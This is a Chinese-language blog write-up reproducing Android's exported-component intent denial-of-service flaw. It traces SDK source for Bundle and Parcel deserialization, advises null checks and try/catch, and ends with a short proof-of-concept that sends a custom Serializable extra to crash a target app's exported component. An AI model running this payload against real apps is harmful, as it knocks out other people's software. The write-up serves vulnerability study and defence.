APP-SECURITY-404 组件导出漏洞复现

参考资料:https://github.com/wnagzihxa1n/APP-SECURITY-404/blob/master/2.%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87%BA%E6%BC%8F%E6%B4%9E-Intent%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1/%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87%BA%E6%BC%8F%E6%B4%9E-Intent%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1.md

工具:https://mp.weixin.qq.com/s?__biz=MzU4NTgzMzQ4NQ==&mid=2247484426&idx=1&sn=6a7069b57b4457eb4b9b1fc44a1f49b0&chksm=fd85c968caf2407ee95e381b62c9a6924ddf3b8cc402df96c823987a160d870c9e072258c5ac&mpshare=1&scene=23&srcid=08140JksuKvKZskXsOqZ2JbN&sharer_sharetime=1597401346780&sharer_shareid=90f1ee6dedb9b967505567982ba5e26c%23rd

一.概述

组件就不多介绍了,安卓的四大组件:activity,service,broadcastReciver,ContentProvider

导出: 其他的应用或组件通过发送intent对象的方式调用其他组件。

intent是一种消息传递对象,intent的基本知识放个博客链接:

https://blog.csdn.net/salary/article/details/82865454

这个漏洞的主要原理还是在于对intent对象的处理没有添加异常事件所导致。

二.漏洞复现

二.1 简单类型

先写了两个activity,其中一个activity通过发送intent对象方式来启动另一个activity,并把数据存在了intent对象中,一起发送过去。

第一个activity

package com.example.twoapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
        //传输数据给Activity
        intent.putExtra("str1","i am str1");
        startActivity(intent);
    }
}

第二个activity

package com.example.twoapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast;

public class Activity1 extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_1);
        Intent intent=getIntent();
        String str1=intent.getStringExtra("str1");
        Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
    }
}

这里其实很简单,就是主活动通过发送包含数据的intent方式调用另一个活动组件,另一个活动通过getStringExtr方法来将数据取出来,再生成一个消息提示框,将取出来的字符串拼接好,放入对话框中

那么假设,我把第一个存数据的代码注释掉,会发生什么呢

package com.example.twoapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
        //传输数据给Activity
        //intent.putExtra("str1","i am str1");
        startActivity(intent);
    }
}

第二个活动的代码不变,这时候运行一下我们的app。

 发现虽然没有这key-value存在,但是似乎自动生成了个key-value,不过value默认是null。这里没啥问题,但如果我的

第二个活动代码是这样写的话

package com.example.twoapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast;

public class Activity1 extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_1);
        Intent intent=getIntent();
        String str1=intent.getStringExtra("str1");
        if(str1.equals("i am str1"))
        {
            Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
        }
       
    }
}

这里有点意思是equals方法,这个方法是继承父类object类的,也就意味着只有对象才能引用这个对象

然后这里有可能出现str1为null的情况,String str1其实是引用,赋值给null是没毛病的,只是这里出问题

应该是程序员的忽视了,这里的修改意见应该是先判断是否为null,如果是null就没必要比较了,因为不可能

相等的,null和对象相等不存在好吧,如果不是null,那值得一比,不过第一个比较是用==,因为不是比字符串

的值了,没必要用equals,也不可能用。

这里运行一下,肯定会出现空指针异常,这里可以查下崩溃日志

点击android studio左下角的按钮就可以查看崩溃日志

  这里报的是空指针异常,达到目的了,一是没有预防,二是没有去处理这个异常,添加try/catch是个不错的方式

二.2 复杂类型的组件导出

之前那种简单的组件导出基本上不会出现了,不过还有一种更复杂一些的,前面算是程序员粗心导致的,后面这种是算是逻辑错误

这里聚集在获取intent中数据的方法getStringExtra这里,这个地方要去看sdk的源码,因为我是mac,command+鼠标单击就会自动

跳转到这个对应方法的源码,不过一开始我sdk版本设置的过高,30的安卓10的版本直接裂开,根本没有源码,我就去改了build.gradle里面的

sdk版本号,然后同步了一下,没想到成功了,改成了29之后,本来下sdk时,就直接把源码也下载下来,这下就可以看源码了。

 这里先看getStringExtra的源码

public @Nullable String getStringExtra(String name) {
        return mExtras == null ? null : mExtras.getString(name);
    }
private Bundle mExtras;
 

这个mExtras的类型是Bundle,这里的再跟着mExtras.getString的方法看看,发现是在BaseBundle类中找到的这个方法,应该是它父类的方法

   @Nullable
    public String getString(@Nullable String key) {
        unparcel();
        final Object o = mMap.get(key);
        try {
            return (String) o;
        } catch (ClassCastException e) {
            typeWarning(key, o, "String", e);
            return null;
        }
    }

unparcel是反序列化方法,跟进去一波。

 @UnsupportedAppUsage
    /* package */ void unparcel() {
        synchronized (this) {
            final Parcel source = mParcelledData;
            if (source != null) {
                initializeFromParcelLocked(source, /*recycleParcel=*/ true, mParcelledByNative);
            } else {
                if (DEBUG) {
                    Log.d(TAG, "unparcel "
                            + Integer.toHexString(System.identityHashCode(this))
                            + ": no parcelled data");
                }
            }
        }
    }

    private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
            boolean parcelledByNative) {
        if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
            Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
                    + "clobber all data inside!", new Throwable());
        }

        if (isEmptyParcel(parcelledData)) {
            if (DEBUG) {
                Log.d(TAG, "unparcel "
                        + Integer.toHexString(System.identityHashCode(this)) + ": empty");
            }
            if (mMap == null) {
                mMap = new ArrayMap<>(1);
            } else {
                mMap.erase();
            }
            mParcelledData = null;
            mParcelledByNative = false;
            return;
        }

        final int count = parcelledData.readInt();
        if (DEBUG) {
            Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                    + ": reading " + count + " maps");
        }
        if (count < 0) {
            return;
        }
        ArrayMap<String, Object> map = mMap;
        if (map == null) {
            map = new ArrayMap<>(count);
        } else {
            map.erase();
            map.ensureCapacity(count);
        }
        try {
            if (parcelledByNative) {
                // If it was parcelled by native code, then the array map keys aren't sorted
                // by their hash codes, so use the safe (slow) one.
                parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
            } else {
                // If parcelled by Java, we know the contents are sorted properly,
                // so we can use ArrayMap.append().
                parcelledData.readArrayMapInternal(map, count, mClassLoader);
            }
        } catch (BadParcelableException e) {
            if (sShouldDefuse) {
                Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
                map.erase();
            } else {
                throw e;
            }
        } finally {
            mMap = map;
            if (recycleParcel) {
                recycleParcel(parcelledData);
            }
            mParcelledData = null;
            mParcelledByNative = false;
        }
        if (DEBUG) {
            Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                    + " final map: " + mMap);
        }
    }

这里不知道为啥我跟不进这个函数,裂开,parcel这个类,是一个共享内存,将序列化数据存进去,同时也可以通过parcel对象

将对象反序列化取出来,这里大概知道intent发送数据,是先将key -value的值序列化存进parcel,然后其他组件再通过parcel

对象通过类加载器和类名,解析反序列化出相对应的对象出来,存进map中。

---以下源码源自王师傅

/* package */ void readArrayMapInternal(ArrayMap outVal, int N,
    ClassLoader loader) {
    if (DEBUG_ARRAY_MAP) {
        RuntimeException here =  new RuntimeException("here");
        here.fillInStackTrace();
        Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
    }
    int startPos;
    while (N > 0) {
        if (DEBUG_ARRAY_MAP) startPos = dataPosition();
        String key = readString();
        Object value = readValue(loader);
        if (DEBUG_ARRAY_MAP) Log.d(TAG, "  Read #" + (N-1) + " "
                + (dataPosition()-startPos) + " bytes: key=0x"
                + Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key);
        outVal.append(key, value);
        N--;
    }
    outVal.validate();
}

再跟readValue方法

public final Object readValue(ClassLoader loader) {
    int type = readInt();

    switch (type) {
    case VAL_NULL:
        return null;

    case VAL_STRING:
        return readString();

    case VAL_INTEGER:
        return readInt();

    ......

    case VAL_SERIALIZABLE:
        return readSerializable(loader);

    ......

    default:
        int off = dataPosition() - 4;
        throw new RuntimeException(
            "Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off);
    }
}

这个readSerializable方法有点意思,其实就是反序列化把对象取出来

再跟进去看看

private final Serializable readSerializable(final ClassLoader loader) {
    String name = readString();
    if (name == null) {
        // For some reason we were unable to read the name of the Serializable (either there
        // is nothing left in the Parcel to read, or the next value wasn't a String), so
        // return null, which indicates that the name wasn't found in the parcel.
        return null;
    }

    byte[] serializedData = createByteArray();
    ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
    try {
        ObjectInputStream ois = new ObjectInputStream(bais) {
            @Override
            protected Class<?> resolveClass(ObjectStreamClass osClass)
                    throws IOException, ClassNotFoundException {
                // try the custom classloader if provided
                if (loader != null) {
                    Class<?> c = Class.forName(osClass.getName(), false, loader);
                    if (c != null) {
                        return c;
                    }
                }
                return super.resolveClass(osClass);
            }
        };
        return (Serializable) ois.readObject();
    } catch (IOException ioe) {
        throw new RuntimeException("Parcelable encountered " +
            "IOException reading a Serializable object (name = " + name +
            ")", ioe);
    } catch (ClassNotFoundException cnfe) {
        throw new RuntimeException("Parcelable encountered " +
            "ClassNotFoundException reading a Serializable object (name = "
            + name + ")", cnfe);
    }
}

发现就是查找反序化类,然后反序列化对象出来,如果没有找到反序列化的类,就会抛出异常,这里就是突破口

假设传入的序列化的类找不到,而且并没有用try/catch来处理异常,那么就会崩溃。

poc 贴下王师傅的

public class MainActivity extends Activity {
    private static final String TAG = "MainActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Intent intent = new Intent();
            intent.setComponent(new ComponentName(target_package_name, target_component_name));
            intent.putExtra("serializable_key", new DataSchema());
            startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class DataSchema implements Serializable {
    private static final long serialVersionUID = -1L;
}
原文地址:https://www.cnblogs.com/YenKoc/p/13509614.html